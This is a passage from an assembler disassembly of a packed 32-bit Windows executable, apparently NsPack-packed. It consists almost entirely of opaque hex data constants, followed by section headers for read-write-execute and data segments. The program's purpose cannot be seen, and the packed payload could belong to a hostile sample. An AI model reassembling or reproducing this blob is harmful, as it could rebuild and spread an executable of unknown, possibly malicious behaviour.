6CA1E349h, 6FD6F48Eh dd 0C749B786h, 0C48D660Bh, 0F9C10A27h, 0C7D4EF58h, 998112F3h dd 7D0E3811h, 0C03E9935h, 0A0CEE34h, 0A21914F2h, 8FF92DB9h dd 0A1942DEBh, 331D5988h, 74C870EEh, 0C619BA3Fh, 1B59FAAEh dd 25101CB6h, 0B2A659C8h, 7EF9D637h, 0F79EFCD0h, 74EF9E18h dd 6DCCC14Fh, 0B3E0CFB1h, 0B5126400h, 8A40D404h, 1AD30A27h dd 515DA1A6h, 0FC1BE73Ch, 0CDFC566Ah, 47E03A8Fh, 13F32E92h dd 0A75BEE67h, 6BC45BC1h, 0DF9B91D1h, 0B6AF8F53h, 284972D2h dd 4548BD89h, 92C20B90h, 0F3666BABh, 0ECC9C1C4h, 0F1CF27AEh dd 9CF8945Bh, 17B3DA74h, 0E0CAAF43h, 8FC6F97h, 2939F1F2h dd 56D5E7D5h, 4016A72Dh, 48111B6h, 8D51EA0Fh, 6A015D07h dd 5328BA0Dh, 0F7F5071Eh, 0D8DAB5FCh, 6EF315Fh, 35F0C7D7h dd 0BE4E6B35h, 22671548h, 0BA55385Eh, 0D59C1369h, 90DE28C0h dd 2C88ABB8h, 0E323270Eh, 13DFA0B2h, 5E187F71h, 6CD370AFh dd 0A7E2FA53h, 0C677990Eh, 96B3C632h, 69845D28h, 0D3198F14h dd 871115Bh, 0B05D6808h, 0CD863F9Fh, 0AFC8C850h, 161B762Ch dd 6C5A5E3Fh, 0FDCD0023h, 2951CBB0h, 8B4B6C2Dh, 7F9A8790h dd 22A2A516h, 755B7D63h, 3D749E9Bh, 0EE0E1A7Dh, 0E1980001h dd 5EC69E47h, 0A9EE5743h, 34E67E27h, 762A45A4h, 556605BDh dd 165AD33Fh, 0F3698BDh, 0CEF28980h, 1CA76A8Eh, 9590F9ABh dd 0A4B10BDFh, 0DAD4526h, 414076DAh, 2AEC7700h, 625F8C33h dd 42E0F04h, 0FE7130Eh, 37408367h, 0F8FB3C24h, 461AEEFDh dd 1F68AAE8h, 90518281h, 8EFC5C27h, 0A5BEE5E1h, 0DF2CE88h dd 1BC5CC51h, 2C193EA7h, 126A5AD4h, 75C94648h, 50143787h dd 9C8440D6h, 17990CC2h, 56D2C914h, 2312109Bh, 0D528D1E7h dd 0F691740Eh, 0BE2B07BAh, 4CB1D674h, 0FFC444BCh, 7D20ED47h dd 0C19ED2D5h, 1F01FF36h, 0CA637C28h, 4796AA9Eh, 0AF7A3800h dd 695E7D56h, 39E4326h, 89C56166h, 0D16FD99Dh, 0D2E2921Fh dd 70132156h, 440AE76h, 8633F399h, 0BE4D3F3Dh, 3E87C797h dd 0CDE60DC4h, 0BDFD1EEAh, 0B3D74B6Bh, 966F7DA8h, 6FF5D2B9h dd 0ABBABC19h, 0A3B75485h, 74477C1Ch, 23942D3Bh, 9446222Fh dd 0E0BD4ECh, 583E40F9h, 0DEF216FEh, 3F7D43D2h, 0E9BFB823h dd 9F1AE967h, 0F2138629h, 38C73B01h, 18DF6F1h, 7C0122C0h dd 6DF224BFh, 868A6869h, 1CD15CE6h, 0EF35CDC0h, 0F817F667h dd 0D1FAECDCh, 9535252Ch, 2CED5D17h, 0C334E616h, 683C60BAh dd 9F59E143h, 0DABEC701h, 0CDEC912Ch, 0A9C78699h, 9469F267h dd 0FFCAEFC7h, 0D3B815BEh, 0E9DFADB2h, 0B0C9A92Fh, 4C0C46AEh dd 0DACAB5CEh, 0AD564C3Ah, 0ED22E1DAh, 0DD4933E4h, 18E8B873h dd 0C9839F65h, 0A4902BF3h, 0DF71E01Bh, 779A2922h, 4F934A08h dd 6D7D265Fh, 0E115A5FAh, 0F7C158C8h, 9F98DB65h, 550F8608h dd 0F22ADC9h, 0F7792529h, 620CF3EAh, 517F7CD9h, 58C1F416h dd 35BB456Ah, 7A2D8068h, 4BCA1390h, 9EA2A6FEh, 0E5FC0E4Fh dd 93F2E572h, 591C1658h, 559DF7D7h, 0A6AFAF50h, 1DA73385h dd 6027A5A7h, 0A71A0E84h, 83D815D7h, 9387BD73h, 12059244h dd 1DFDB5ACh, 0E7C9F4D3h, 437EB18Bh, 7F127846h, 0EB85E338h dd 0F8E5A4F2h, 900619h, 0E2753A39h, 0FA217373h, 8811A771h dd 3169587h, 0D6256EB7h, 3C581079h, 4DCAC6Fh, 0DE30BF11h dd 16366D9Ah, 6D63AA96h, 17C48072h, 0BCA67C1Ah, 8FDC6384h dd 0A623439Fh, 0A20B59EFh, 0DCFB5257h, 6C3E0BC8h, 0F53FD489h dd 1E806BB6h, 732D194Ch, 0E17F1689h, 0FB5F8B6Ch, 337481D4h dd 4E0AA217h, 972BF5E3h dd 4929DF3Ch, 66C65D8Ch, 604527CEh, 7A97B30h, 55A2A56Fh dd 0E3EBCC16h, 0AEB8F824h, 3BD61BBh, 0C98CEACAh, 0AD0591B5h dd 3C8227A5h, 0B2968EC6h, 0EDBBD6E3h, 4CAC4BCCh, 3DBD695Eh dd 18DA3BE9h, 989F2126h, 0B033074Dh, 6FEDAE11h, 3AE9DB4Ah dd 9BE0E024h, 9BB7165Eh, 9E0C3905h, 68E2F859h, 3DA6271Dh dd 0D8499257h, 71F2A241h, 0DB4C508h, 38798785h, 5237B233h dd 6B2DB535h, 804D5347h, 8CDC931Dh, 26753699h, 0EC42CC46h dd 0BCB1FA2Ch, 0F9D81769h, 75DB3FDDh, 9C2F459Eh, 0FE5F373Fh dd 481F144Fh, 812EC843h, 8B5FC2B2h, 689BAE3Fh, 264220F2h dd 1EA0B917h, 31CFD4AAh, 6F5B65F1h, 4BC8A257h, 0BA6238Dh dd 71A882D5h, 0B8BBAFE9h, 223FDEF2h, 0B3E54801h, 1975338Dh dd 0C2DA6D38h, 2E700C5h, 0BF3D2EF7h, 5D15AA04h, 0D9620EAh dd 0F2B65235h, 0E5473AEFh, 54676354h, 5F72D61Bh, 0BC00EB66h dd 0B1974A8Dh, 0EF0830B0h, 3821EADDh, 0D1DCC574h, 1C331A66h dd 0FD436381h, 885992BCh, 0DC1F7D2Fh, 0C7FE93C1h, 0D36BEF2Bh dd 8D8BABC5h, 0DD052A55h, 9C9B7779h, 0F4DBB0A3h, 0C7816346h dd 0D3455A74h, 2766EF14h, 0A8663E42h, 0FEC3254Eh, 0AC740078h dd 7349EED4h, 1C4E4748h, 0FD804C67h, 0EE714F14h, 3A981D38h dd 246FCA1Ch, 0A3636E68h, 4B3CA24Eh, 8DBBF3A0h, 0A758B337h dd 55D2F45h, 0D4114F73h, 895622A7h, 0A9A356C8h, 3E347B92h dd 0E7C1FB04h, 221DF855h, 0EF26C41Dh, 99C075A7h, 0B0075D60h dd 0D9CB1D43h, 0E764DB5Dh, 0F0A147C0h, 0D3E839D6h, 0CD609E48h dd 43EEA5DDh, 4361F692h, 0B6BBF67Ch, 0DAFAC228h, 4B772275h dd 573B3BB6h, 0D48D0027h, 0C638971Eh, 596641A9h, 1B4DC7FDh dd 154D6705h, 0FBEFC527h, 1A2B464Ah, 40708447h, 32972813h dd 0FFDD2807h, 2AC6185Fh, 80EF0998h, 4F6822FDh, 67F54F5Ah dd 1D0CE44Dh, 0BE6C0CA7h, 0E625532Fh, 0E58EE421h, 9D1D7EDCh dd 0D6C4CAA4h, 8C6E59F0h, 0AFDF4BE6h, 3728C8E6h, 31AD5EB6h dd 0A8DB70BCh, 3D3A97A6h, 0C361EFF0h, 202EEBEDh, 8639B852h dd 1F50BB68h, 0A3C9E24h, 10DDF76Ch, 46B69E60h, 0DCEDD31Eh dd 46D81FFAh, 15CF0843h, 0EAE5F508h, 68133E96h, 517C9460h dd 0B50E32ABh, 985D2E0Fh, 8F2A7B9Ah, 8E7D84Ch, 0E356B27Ah dd 8D360221h, 6075425Bh, 5E93035Dh, 458F968Bh, 4330BF7Bh dd 6E6D72A9h, 6163A5A7h, 780B881h, 0E7757AC0h, 7024ACFEh dd 5B88676Ah, 0EA4480B4h, 2C99F068h, 89A8290Eh, 1771CDF9h dd 5E5A6962h, 0D53965F3h, 0FD76535Bh, 951CC7B9h, 0F17AC1C8h dd 0C0655C0Fh, 9EA6E5E6h, 9AA4DD98h, 38EDCD31h, 6E4D5C59h dd 96BD885Fh, 8F355840h, 0EE64B393h, 345597C4h, 0A0F70798h dd 29126EA8h, 5F2AE836h, 5350DDECh, 1D3B1C3h, 73F53428h dd 4AF219E1h, 0C047792Ch, 889E1F44h, 0D394AA0Dh, 0A2326809h dd 71C66391h, 7C46911Bh, 8CA0F4Dh, 0A30B2918h, 19294EAh dd 3261D422h, 313B280Ch, 22A1BCD3h, 2FF5F5CAh, 5FD0F4FEh dd 0D6938CC7h, 240A0FA9h, 7982B264h, 0C7F15F7h, 8F39610Bh dd 1F2F826Ch, 14C3D0EAh, 1C16A00h, 0A831058Ch, 65F8D4C0h dd 0A06D7433h, 71B6766Ch, 74E8F126h, 64E8F9BDh, 0FA6F2823h dd 120B696Eh, 0A7D1D50Dh, 0E58D1E2Fh, 48DE3723h, 85C86F08h dd 96725AB2h, 5104C1CDh, 0AF3FC244h, 60EE34F9h, 0CECBAE30h dd 61BF2BDEh, 2DA5F858h, 0A7866A4Ah, 34BD9374h, 0D798DFF1h dd 410416D9h, 553F00D3h, 8C8B0128h, 9DFA9206h, 0B6F316EBh dd 0FB852685h, 0E03FF465h, 0F3EAB656h, 3EDC49B8h, 8DF14390h dd 5CE0749Ch, 0C2F1FD6h, 5EB2EB85h, 6C07332Ah, 6AA70746h dd 2CB19597h, 7E6539CBh, 0BDC06F50h, 9B771E6Ch, 0F4878FF9h dd 7C85B2BEh, 964EEB19h, 0DD2F2393h, 2ED72DC6h, 96C8D286h dd 6E88240Ah, 0FAC5E653h, 0D35B72CFh, 8D23B02h, 187778B7h dd 6D2B7894h, 18375F02h, 4B0BD3E5h, 0D726E0C1h, 77771B28h dd 2AB82160h, 784E2479h, 0D95E2ED9h, 0AB4FC24Eh, 0FCDD0982h dd 2258487h, 65F0B1D9h, 0E4487ADEh, 2B65A4E9h, 17FD266Ch dd 92E05B34h, 12843ED5h, 0EC8BC985h, 0C2EC9B0Bh, 0AE7AFADDh dd 23B8D50Fh, 0B65A8A47h, 890CF2FAh, 6DAA89F0h, 67CAC8F1h dd 0D7B5B54Fh, 89BE4FA0h, 9175B86Eh, 6804698h, 0DC578F8Fh dd 0AF164875h, 6C2AEE7Bh, 0EA2F7E29h, 8B9EF9CEh, 0B9356EEFh dd 0DB101990h, 6372BC9Fh, 7745A1C3h, 2CD9905Eh, 0CE7FC2DFh dd 39DBCFD1h, 519D4A7Eh, 5C62B29Eh, 0C8D518EEh, 338F1D7h dd 28317C19h, 7837993Dh, 0F7A00D15h, 64B77FC2h, 0A256C0B7h dd 3BDBC9A3h, 57A2CBF1h, 6EB12803h, 0C4EBD7CFh, 22505166h dd 0C164E14Ch, 0B2563FE7h, 0F305F6EFh, 910444A1h, 5220CC21h dd 0F65C740Dh, 0AE1AF7F8h, 0E9AC9A65h, 594D90AFh, 73B25DBh dd 5E4D8143h, 8F9C38E6h, 10A5A6CAh, 8B9C3247h, 0F041A9B8h dd 1A122F8Ch, 93FFEF88h, 0A0E087BCh, 0A7C5FCC2h, 2B089292h dd 3B47205Fh, 884AF0BAh, 34B6F4C7h, 60B1E7FBh, 0B2EE2690h dd 0AD82C598h, 4F6D2D82h, 87A1F47Dh, 1520EC8Fh, 683270C5h dd 61E848CEh, 0D1887710h, 0C86D8C16h, 1E0E8CB5h, 10762380h dd 7EEE639Ah, 27D3F21Eh, 5490C8ADh, 0AE1AB3E7h, 0A2290B09h dd 1D9AA445h, 0A5EBECE2h, 11387E49h, 81A16E50h, 0A3C51F29h dd 2C809FFFh, 382EFF9h, 495F3181h, 365F920h, 6F6EEA7Ah dd 6C4B0CB6h, 1073F39h, 0E53C207Eh, 0F7C66F75h, 0D0E1621Bh dd 70E2B66Bh, 96D7F749h, 0D9F5F98Dh, 0F7BB420Bh, 0F20BEF1h dd 78004D84h, 77B60F9Ah, 0ECBDC37h, 39894372h, 0B888B6A0h dd 5D46E984h, 4E818E8Bh, 438C730Bh, 36D4BE11h, 6CF3AA56h dd 8002F4DBh, 0F4251EB3h, 479CD07Bh, 0EFFE5F9Ch, 0A198CECBh dd 8669B7DDh, 320D764Bh, 0F2A436D5h, 0D8C464CFh, 33F5ACC4h dd 5C4D6E75h, 829E8BBEh, 773C93AEh, 832FCC3Eh, 0C3A4E6B4h dd 60C72EE1h, 6409868Dh, 4043FC15h, 2A8A5BB3h, 81D36EF7h dd 0E6D0E053h, 9486EA6Bh, 6EF164B1h, 77C96722h, 526496FDh dd 0A625E766h, 668DA993h, 31CCBFCDh, 79D5DB00h, 69DDD3DBh dd 0B8EF6CDFh, 9C394BCEh, 0DCA6FA21h, 0F66179B8h, 4F9E2AB7h dd 520D4CBCh, 69223E2Dh, 73B7C7Ah, 7D5B89ACh, 4D897C02h dd 0BA082DC2h, 0A30EF14Ch, 983B95F6h, 742301D0h, 0ABEE951Ah dd 4779AE70h, 1F128A2Ch, 918B5AA7h, 26E382D4h, 93493BDCh dd 712B5512h, 69C0BB7Fh, 85F1B8DAh, 0DBAADF24h, 3727E9ECh dd 3C139764h, 4631485Dh, 0F8FF9E68h, 0E6B90D7Ah, 225062B5h dd 0E25675BFh, 0E7DD0098h, 0F53031BFh, 27727953h, 914E68h dd 9A074FFBh, 0B52195B5h, 1D5EAAB1h, 0C1C15301h, 78B6FB5Fh dd 5D91AFA2h, 2F682A97h, 98BFE9C1h, 0E09EFDD4h, 0CC4419F2h dd 40C82693h, 759CBF22h, 7C8C3A4Fh, 4921611Bh, 91E1E0DEh dd 3BF8A7C3h, 27C4AC4Bh, 0DF120101h, 8B72124Dh, 59AF84E4h dd 1CA3519Bh, 0D99FE39Ah, 0DF4BD39Fh, 0DB7908E0h, 8DD73B01h dd 0A20BCE4Ah, 72D922ADh, 579B4847h, 92257E1Ch, 0EEDE7D92h dd 1739B7E4h, 497825C3h, 28E5D56h, 0DC4CB4D3h, 35BE9409h dd 2AA25C4Ch, 62127355h, 7F91DB8Fh, 448DF634h, 6BD902E0h dd 1AFA61FEh, 0E32FC9E9h, 0E577CB76h, 50C2469Bh, 0E9569420h dd 2A38BC39h, 23A82B9Fh, 0A851BA48h, 87F62C4Ch, 0CC718865h dd 0ECA3855Fh, 0B6866AEBh dd 484E8241h, 1529D633h, 0F09620E2h, 299D2F6Dh, 0A58BD877h dd 416EAE7Fh, 0AC400E26h, 0A5E2EFD2h, 0C21BD9A2h, 89F83F92h dd 8704A39Bh, 6E6D34FFh, 8395564Ah, 0E46A82F1h, 0D64FDCD3h dd 0CE1B31CAh, 74F948C3h, 0DEBD38FAh, 30CF52D3h, 319E3194h dd 3FB0BACBh, 5F18E334h, 96D03F46h, 895FA864h, 6D09EDE7h dd 86D7488Eh, 40167B7h, 0B81B23Dh, 3E5BEA36h, 0CA643B6Ch dd 0A6A685C7h, 0BEF91D9Bh, 6300B17Ah, 55A1E818h, 0DD5B7677h dd 74C2C59h, 0DAD778B4h, 0FCD3E6D8h, 4A5BBB3Dh, 0BDCAF423h dd 3811AF6Bh, 0D581301h, 0C1288EC5h, 0FDDD5592h, 7F1B6404h dd 0BF25D4E1h, 0D5701B89h, 45780A06h, 7F78AFB2h, 5F4CD556h dd 5A30FB14h, 2918C175h, 0AA83EA70h, 32E90857h, 6B2930E6h dd 611DFF47h, 31E4616Ch, 9BD106DFh, 0A79BD380h, 4AFB7AC5h dd 0E3A37A42h, 373F8765h, 0FDA7498Bh, 1DADD47h, 4A5D0F81h dd 31FB4490h, 0A27C7115h, 22BBD756h, 285B3DD4h, 0CF8B7805h dd 0D7FC3217h, 0A803DFAh, 0D469BF9h, 2B59E02Dh, 0A9EF2B87h dd 331BA127h, 1F3B62Bh, 4EB87B25h, 0E89A872Bh, 1715450Dh dd 2D2BCD3Ah, 0E1C9E3Fh, 6E0F6E16h, 0F04BA869h, 10AC5F68h dd 5904197h, 7C3F7995h, 5A48758Bh, 2A3867F4h, 4F229BA5h dd 560F85B0h, 90371CB2h, 39424A6Ah, 0B14A03D6h, 0BF364CA4h dd 4D4283B0h, 436BD47Fh, 0F8D47C7h, 33D1EFCBh, 9A8496CFh dd 0AFF9114Ch, 0C2C47877h, 98360C91h, 31021022h, 0DC99BAA2h dd 40FC49D6h, 76590F37h, 4F3285B0h, 9F4BE15Ah, 0D1E109EEh dd 0B9BF2AA7h, 4857C241h, 0F998091Fh, 0DAC666DBh, 32D8994Dh dd 328C9CCEh, 0D133EBDEh, 0B23F4AA3h, 4ACD41DEh, 0A443C28Dh dd 21DD6852h, 0C39044BBh, 4BBBBF79h, 0C94B1095h, 3C40FBEEh dd 62F3F445h, 0FA13A751h, 0DD0D041Ah, 0E68C473Bh, 0C367BC66h dd 0A1DA4B34h, 0F1E15F9Ah, 9C0E535Bh, 0F525D5DAh, 0CFC15CDFh dd 8B116B47h, 5666BB9h, 0C76D00C0h, 2C0F940Ch, 0D5CA0E55h dd 0FCF238AFh, 0C67F24BAh, 168E704Dh, 0F089B984h, 28F7A8C3h dd 0A08368E6h, 0DB705269h, 0CA64E93Eh, 52624C52h, 25FDDD79h dd 20211301h, 0F0E6363Ah, 1A37A84Eh, 40EBF8ECh, 56CE8B43h dd 0A1DC5911h, 464578B2h, 0A8FD59A8h, 81A47B4Dh, 5C4DFC53h dd 0FD4671B0h, 863C3F50h, 5973CB9h, 3FDFB3C6h, 65DD9A4h dd 275E2C70h, 49B89296h, 0CAE4AAACh, 0F5D73D08h, 0F490619h dd 1EE8FA1Ch, 0E4193EB5h, 0D651C005h, 2787FEF2h, 7D0B8859h dd 9763E699h, 2E59178Fh, 965153h, 31726176h, 0F3A6082Eh dd 8E74D6C5h, 7CFE03BCh, 7E0FEC23h, 746DE07Fh, 7B121D97h dd 0FE9AAF05h, 0F2441C15h, 8B3556BDh, 7B4B909Fh, 0F917C52Eh dd 99DA2142h, 2CD53B7Bh, 694BF27Dh, 23D1A88Eh, 63920678h dd 51FEBA99h, 9C36E34Fh, 8305A29Ch, 920A0144h, 0D3CA6289h dd 0C5CF5E6Ch, 0F23298D9h, 0B7A8D897h, 0FF4C53C1h, 2DD30F06h dd 71419756h, 0AD90A9C1h, 0FBB1FE0Ah, 0FDB4FA3Fh, 9C9080CCh dd 2A4D4FCCh, 0DEA32262h, 4839550Fh, 524C74FCh, 307D3C9Fh dd 0E2D50EEDh, 0B3F8E249h, 3A1C19D5h, 5600D776h, 0C3747BC8h dd 0D72B17BDh, 91EA70Ah, 985D9081h, 853BFB17h, 0BE6B1791h dd 0B3CB4DBDh, 68C7C9B0h, 0BE8A97F0h, 1299EF0h, 0EDA9ECC5h dd 2995FA82h, 1B8BB8EBh, 3ACE4A25h, 4C884B6Dh, 3AC55F72h dd 8C769AB4h, 25477CD5h, 0E6F1A67h, 8DCCE44Fh, 5FF2272Ah dd 0AC837126h, 67C77FC9h, 8E8184E0h, 0D6FFA33h, 5D218D5h dd 3147EE90h, 0B6A04BC6h, 8A74844Ah, 22DB7883h, 1AFA5615h dd 2F5B8DDDh, 0BFC22382h, 0E9B816B1h, 44A076B9h, 368E149Fh dd 868D548Ch, 4652FF9Ch, 1C500638h, 0C85FC902h, 35525139h dd 5ED93582h, 556D2C5Eh, 6255C300h, 0AE77DC97h, 39B11003h dd 3EA2BDE1h, 487E6556h, 5674D0F4h, 6E049C83h, 0E8D9BDCCh dd 2D97AD8Ah, 9AEB2EFFh, 7ACEBA1Dh, 0BA69FC84h, 7B6853CCh dd 0FE140DE4h, 89487FE4h, 0C46174E5h, 4A08107Ch, 0EE4B932h dd 5F4F0BFh, 0F8A46C12h, 839DE997h, 0BC11723Ah, 0EB7B883Bh dd 0F67B47D5h, 2EF61464h, 0ABAAF02Dh, 45460E39h, 337578DBh dd 0B04669BDh, 93AD161Ah, 87E991A6h, 0D0B60528h, 36E40175h dd 22A019C7h, 0F6A01AD5h, 716C4B7Ah, 40BC4DEAh, 7C38830Ah dd 6A53F2F4h, 5E6468B3h, 0E3FE4096h, 0B2EAADE2h, 6F172030h dd 2598FBCFh, 0AEF68CF4h, 57D820A2h, 224CB0B4h, 0C7799B7Fh dd 54EFC97Fh, 0D39EA4F4h, 62C9E68Bh, 3E61CE74h, 3DDC12E7h dd 751098D5h, 2CA50A5h, 0E25BE748h, 0E887D540h, 70C5C1EDh dd 0D0518958h, 2D88D23Ch, 84895D70h, 0B9E8E9Eh, 7A546977h dd 8584D1E7h, 1E842E31h, 6B9CC30Eh, 79266CB9h, 0C9C20E7Fh dd 0BB1B467Bh, 3D082560h, 8A2EFEDAh, 2E956BC7h, 68A99E9Ch dd 0BC654F26h, 33B130D4h, 0C9860AEEh, 963F1D01h, 33D4687Eh dd 0E57FAA0Ch, 0B0FF3082h, 0DA95D79h, 0E3C57655h, 6279A4CCh dd 2CC80156h, 0FD60209Fh, 60471ABDh, 0C5F5840Fh, 0DAF78207h dd 8968E235h, 0CAF65706h, 0EB9477E5h, 2A59CDADh, 0A455BC52h dd 758B3738h, 0E7B39F22h, 9C51CE75h, 7D1A1DA8h, 17CCD6D2h dd 0BB2D3929h, 359ACB5Dh, 1683F138h, 1F711498h, 0D07FD907h dd 4EE344C5h, 9684E870h, 0BB72D748h, 10206C1Fh, 6B2836C7h dd 0A8F60CF3h, 0D2339643h, 0F99A8C3h, 73D7AD09h, 2DA8E2FDh dd 0C6627143h, 0DC88F9F6h, 62A14333h, 0ED2A3C8h, 0E64738B7h dd 85BD027Bh, 2A4D5441h, 0F981D287h, 185BF573h, 0FC8034BCh dd 0A0D6E67Ah, 705447ECh, 44C61C82h, 0D60BC3F7h, 5C3B63F2h dd 0D259F74Eh, 908FE25h, 84F1361Dh, 0EA4F7237h, 0DA1CAE94h dd 0EEBDD5A5h, 0F8985E3Ah, 5649EA72h, 0E4F55C6Ch, 76B83445h dd 0C3D69B39h, 92923F8Bh, 0B4E8621Fh, 0AA12F096h, 5951ABA7h dd 82A613AFh, 1EAA6300h, 0BE3B0620h, 0C7ACDAB6h, 0A43712EDh dd 89A52457h, 46CE3DB6h, 95829A39h, 8DF4FF0Ah, 9A4DD713h dd 0B6217C94h, 0E6405BB5h, 2B3ED70Fh, 78CA1C6Bh, 0A9594D0h dd 5E1888CDh, 6A1634BFh, 4F4F527Ch, 82F20BD0h, 0EFADE324h dd 3214A890h, 1FBF8A35h, 85A6ADBBh, 0C60ABADCh, 566E4F01h dd 9A7046F9h, 9252FA97h, 1D4C6A9Bh, 5DD5A567h, 8E72774Ch dd 0DB5ABD42h, 0A70738F8h, 9EE289DDh, 0C62D7829h, 87FB5F63h dd 0AB11F1F4h, 108A2F19h, 710E1211h, 935EFD93h, 4BFDBB68h dd 9381130Bh, 97249612h, 522356A2h, 2BF03E63h, 571F1BBDh dd 14F8F14Dh, 23F58Bh, 7861D080h, 71FF6B46h, 2D3A2AF7h dd 0D3CA6289h, 0C5CF5E6Ch, 0F23298D9h, 0B7A8D897h, 0FF4C53C1h dd 2DD30F06h, 71419756h, 0AD90A9C1h, 0FBB1FE0Ah, 0FDB4FA3Fh dd 9C9080CCh, 2A4D4FCCh, 0DEA32262h, 4839550Fh, 524C74FCh dd 307D3C9Fh, 0E2D50EEDh, 0B3F8E249h, 3A1C19D5h, 5600D776h dd 0C3747BC8h, 0D72B17BDh, 91EA70Ah, 985D9081h, 853BFB17h dd 0BE6B1791h, 0B3CB4DBDh, 68C7C9B0h, 0BE8A97F0h, 1299EF0h dd 0EDA9ECC5h, 2995FA82h, 1B8BB8EBh, 3ACE4A25h, 200h dup(0) _nsp1 ends ; Section 3. (virtual address 00095000) ; Virtual size : 00000AB9 ( 2745.) ; Section size in file : 00000AB9 ( 2745.) ; Offset to raw data for section: 00095000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _nsp2 segment para public 'CODE' use32 assume cs:_nsp2 ;org 495000h assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing dd 2AEh dup(0) db 0 _nsp2 ends ; Section 4. (virtual address 00096000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00095C00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 496000h dd 80h dup(0) align 1000h _idata2 ends end start